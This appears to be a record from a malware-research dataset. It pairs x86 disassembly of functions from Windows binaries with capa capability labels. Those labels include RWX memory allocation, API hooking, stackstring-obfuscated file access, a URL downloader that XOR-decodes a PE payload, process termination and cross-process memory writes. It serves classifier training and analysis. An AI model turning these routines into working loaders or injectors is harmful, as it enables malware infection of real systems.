joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010140
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020120
push 0x10014963
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffcc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x100101a6
mov byte [ebp - 0x3d], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3d]
jmp 0x1001022f
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx], 0x4550
je 0x100101cd
mov byte [ebp - 0x3e], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3e]
jmp 0x1001022f
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
add eax, dword [edx + 0xd8]
cmp dword [ebp + 0xc], eax
jb 0x10010208
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
add edx, dword [ecx + 0xd8]
mov eax, dword [ebp - 0x3c]
add edx, dword [eax + 0xdc]
cmp dword [ebp + 0xc], edx
jae 0x10010208
mov byte [ebp - 0x3f], 1
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3f]
jmp 0x1001022f
mov byte [ebp - 0x40], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x40]
jmp 0x1001022f
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100102d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100300d0]
mov dword [ebp - 4], eax
jmp 0x100102e9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10010306
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100102e0
mov esp, ebp
pop ebp
ret
Function at 0x10010310
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x100300e0], eax
je 0x1001032e
mov eax, 0x10dd
jmp 0x10010410
mov eax, dword [0x100300f0]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100103ad
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
xor eax, eax
mov al, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
jne 0x1001038b
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x10], 0
je 0x1001038b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
push eax
call fcn.10010480
add esp, 4
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.10013f40
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x10010336
mov dword [0x100300f0], 0
call fcn.10010420
mov ecx, dword [0x100300ec]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x100103fa
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.10013f40
add esp, 4
mov edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
jmp 0x100103c5
mov dword [0x100300ec], 0
mov dword [0x100300e0], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10010980
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x10010995
xor eax, eax
jmp 0x10010a0a
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 0x10000
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x100109c2
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x38d
jae 0x10010a05
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x48
mov eax, dword [ebp - 0x10]
cmp dword [eax + edx + 0x40], 0
je 0x10010a03
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 8]
jb 0x100109ff
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 4]
jb 0x10010a03
xor eax, eax
jmp 0x10010a0a
jmp 0x100109b9
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10010ac0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x100300e4], 0
je 0x10010ad9
mov eax, dword [0x100300e4]
jmp 0x10010b79
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x10010aeb
xor eax, eax
jmp 0x10010b79
push 8
call fcn.10013f45
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10010b41
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x10010b2a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.10013f40
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x100300e4], eax
mov dword [0x100300e8], 0
mov eax, dword [ebp - 8]
jmp 0x10010b79
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x10010b5b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x10010b0b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x100300ec]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x100300ec], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x100113c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10011490
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1001147c
cmp dword [ebp - 4], 0x50000000
jb 0x100113fc
cmp dword [ebp - 4], 0x80000000
ja 0x100113fc
mov dword [ebp - 4], 0x80010000
jmp 0x100113d5
push 0x1c
push 0
lea edx, [ebp - 0x20]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10011422
jmp 0x1001147c
cmp dword [ebp - 0x10], 0x10000
jne 0x10011465
cmp dword [ebp - 0x14], 0x10000
jb 0x10011465
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10011458
mov eax, dword [ebp - 0x24]
jmp 0x1001147e
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10011477
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x14]
push ecx
call fcn.10011490
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100113d5
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x100114d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.100115a0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10011594
cmp dword [ebp - 4], 0x50000000
jb 0x10011511
cmp dword [ebp - 4], 0x80000000
ja 0x10011511
mov dword [ebp - 4], 0x4fff0000
jmp 0x100114ea
push 0x1c
push 0
lea edx, [ebp - 0x20]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10011537
jmp 0x10011594
cmp dword [ebp - 0x10], 0x10000
jne 0x1001157a
cmp dword [ebp - 0x14], 0x10000
jb 0x1001157a
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x1001156d
mov eax, dword [ebp - 0x24]
jmp 0x10011596
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1001158f
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x10000
push ecx
call fcn.100115a0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100114ea
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10011eb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10011ef3
call fcn.10010240
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10010ac0
push 0x10011df0
push 0x10030c94
call fcn.10010b80
call fcn.100104c0
push 0
push 0
push 0
push 0x10011ea0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc
Function at 0x10012110
Capabilities:
Access peb ldr_data

Disassembly:
cmp dword [ecx + 0x18], 0
jne 0x10012127
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
jmp 0x1001212a
mov eax, dword [ecx + 8]
movups xmm0, xmmword [eax - 8]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [eax + 8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [eax + 0x18]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [eax + 0x28]
mov dword [ecx + 0x30], eax
mov eax, dword [ecx + 0x18]
ret

Function at 0x10012150
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
test edx, edx
je 0x1001216f
mov ecx, edx
call fcn.10012060
mov ecx, eax
call fcn.100121b0
mov edx, esi
mov ecx, eax
pop esi
jmp fcn.10012210
mov ecx, 1
call fcn.10012060
mov ecx, eax
call fcn.100121b0
mov edx, esi
mov ecx, eax
call fcn.10012210
test eax, eax
jne 0x100121ae
lea ecx, [eax + 3]
call fcn.10012060
mov ecx, eax
call fcn.100121b0
mov edx, esi
mov ecx, eax
call fcn.10012210
test eax, eax
jne 0x100121ae
lea ecx, [eax + 2]
jmp 0x10012159
pop esi
ret

Function at 0x10012210
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov edx, dword [eax + 0x1c]
mov ecx, dword [eax + 0x24]
add edx, edi
add ecx, edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
cmp ebx, 0xffff
ja 0x10012256
sub bx, word [eax + 0x10]
movzx ecx, bx
cmp ecx, dword [eax + 0x14]
jae 0x10012289
mov eax, dword [edx + ecx*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax + 0x20]
xor esi, esi
mov eax, dword [eax + 0x18]
add ecx, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x10012289
nop word [eax + eax]
mov edx, dword [ecx + esi*4]
mov ecx, ebx
add edx, edi
call fcn.10012f70
test eax, eax
je 0x10012292
mov ecx, dword [ebp - 8]
inc esi
cmp esi, dword [ebp - 4]
jb 0x10012270
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100129a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
mov esi, ecx
call fcn.10012aa0
test eax, eax
jne 0x100129b4
mov ecx, esi
pop esi
jmp 0x10012a50
pop esi
ret
push ebx
push esi
push edi
mov ebx, ecx
call fcn.100129c0
mov ecx, ebx
mov dword [0x10030c90], eax
call fcn.100135f0
mov edx, dword [0x10030c90]
mov edi, eax
mov esi, edi
mov ecx, 0x100130f0
sub esi, ebx
sub ecx, ebx
push ebx
push ebx
add ecx, edi
mov dword [esi + 0x10030c90], edx
call ecx
add esp, 8
mov ecx, edi
call fcn.10012300
pop edi
pop esi
pop ebx
jmp fcn.10012440
Function at 0x10013520
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0x61657243
xor edx, edx
mov dword [ebp - 8], 0x69466574
lea ecx, [ebp - 0xc]
mov dword [ebp - 4], 0x57656c
call fcn.10012150
mov ecx, edi
mov esi, eax
call fcn.100120c0
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call esi
xor edx, edx
mov dword [ebp - 0xc], 0x46746547
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], 0x53656c69
mov ebx, eax
mov dword [ebp - 4], 0x657a69
call fcn.10012150
push 0
push ebx
call eax
mov esi, eax
push 4
mov edx, esi
call fcn.100122b0
add esp, 4
mov dword [ebp - 9], 0x64616552
xor edx, edx
mov dword [ebp - 5], 0x656c6946
lea ecx, [ebp - 9]
mov byte [ebp - 1], 0
mov edi, eax
call fcn.10012150
push 0
push 0
push esi
push edi
push ebx
call eax
mov dword [ebp - 4], 0x65736f
xor edx, edx
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], 0x6c43744e
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
lea ecx, [ebp - 8]
mov dword [ebp - 8], eax
call fcn.10012150
push ebx
call eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x20004361
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, ebx
mov dword [0x2000d134], eax
call fcn.20004434
test eax, eax
je 0x200043e1
push esi
xor esi, esi
push 0x20
push esi
push 0x2000cb48
call sub.MSVCRT.dll_memset
push 0x20
push esi
push 0x2000cbe8
call sub.MSVCRT.dll_memset
push 0x20
push esi
push 0x2000cbc8
call sub.MSVCRT.dll_memset
push 0x20
push esi
push 0x2000cba8
call sub.MSVCRT.dll_memset
add esp, 0x30
mov ecx, ebx
call fcn.200041e4
push esi
push esi
push esi
push 0x2000435c
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x2000d0d8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
pop ebx
ret
xor eax, eax
pop ebx
ret
Function at 0x20004ac9
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20009150
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x20001a88
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20004c48
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x20004c3a
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20004c25
cmp dword [ebp - 0x10], 0xc8
jne 0x20004c25
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x20004c20
cmp dword [ebp - 0xc], 0
jne 0x20004be4
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.200065be
test eax, eax
pop ecx
je 0x20004bd7
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20005cfb
pop ecx
test eax, eax
pop ecx
jne 0x20004c20
lea eax, [ebp - 0x10e8]
push eax
call fcn.2000655b
pop ecx
cmp ebx, dword [ebp + 0x10]
ja 0x20004c20
cmp dword [ebp - 8], 0
je 0x20004c37
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x20004b96
push dword [ebp + 0xc]
jmp 0x20004c26
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x20004c7e
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20004c58
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20004c83
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20009150
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x20001a88
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20004e02
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x20004df4
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20004ddf
cmp dword [ebp - 0x10], 0xc8
jne 0x20004ddf
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x20004dda
cmp dword [ebp - 0xc], 0
jne 0x20004d9e
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.20006681
test eax, eax
pop ecx
je 0x20004d91
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20005cfb
pop ecx
test eax, eax
pop ecx
jne 0x20004dda
lea eax, [ebp - 0x10e8]
push eax
call fcn.2000661e
pop ecx
cmp ebx, dword [ebp + 0x10]
ja 0x20004dda
cmp dword [ebp - 8], 0
je 0x20004df1
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x20004d50
push dword [ebp + 0xc]
jmp 0x20004de0
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x20004e38
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20004e12
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20004e76
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
cmp word [eax], 0x5a4d
jne 0x20004f3a
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x20004f3a
call fcn.20004e3d
mov eax, dword [0x20001a84]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001a84], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20001a84]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001a84], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
call fcn.20004e3d
mov eax, dword [0x20001a84]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001a84], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20001a84]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001a84], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xf4], eax
pop esi
pop ebp
ret

Function at 0x200050c5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.2000693f
lea eax, [ebp - 0x208]
mov dword [0x2000d690], 0x124f80
push eax
push 0x2000d694
call fcn.20005dbd
add esp, 0x10
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x2000d690
push 0x20004f3d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x200052cd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.2000693f
lea eax, [ebp - 0x208]
mov dword [0x2000d798], 0xdbba0
push eax
push 0x2000d79c
call fcn.20005dbd
add esp, 0x10
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x2000d798
push 0x2000512b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8
Function at 0x20005698
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.2000645e
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov ebx, 0x1f0003
push 0x20002804
push esi
push ebx
call edi
cmp eax, esi
jne 0x200056de
push 0x200027dc
push esi
push ebx
call edi
cmp eax, esi
jne 0x200056de
push 0x200027b4
push esi
push ebx
call edi
cmp eax, esi
je 0x200056f5
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.2000555b
push 0x200027a8
call fcn.20006000
cmp eax, esi
pop ecx
je 0x20005716
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x20005716
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x2000279c
call fcn.20006000
test eax, eax
pop ecx
je 0x2000574e
push esi
push 0x200055a3
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x20002790
call fcn.20006000
pop ecx
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x2000574e
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x200056b7

Function at 0x20005cc3
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret

Function at 0x20005e72
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.20009150
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, 0x1000
push 0
lea eax, [ebp - 0x1000]
push esi
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push eax
push 0x40
push esi
push ebx
push dword [ebp + 8]
call edi
test eax, eax
je 0x20005ed5
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push esi
push ebx
push dword [ebp + 8]
call edi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret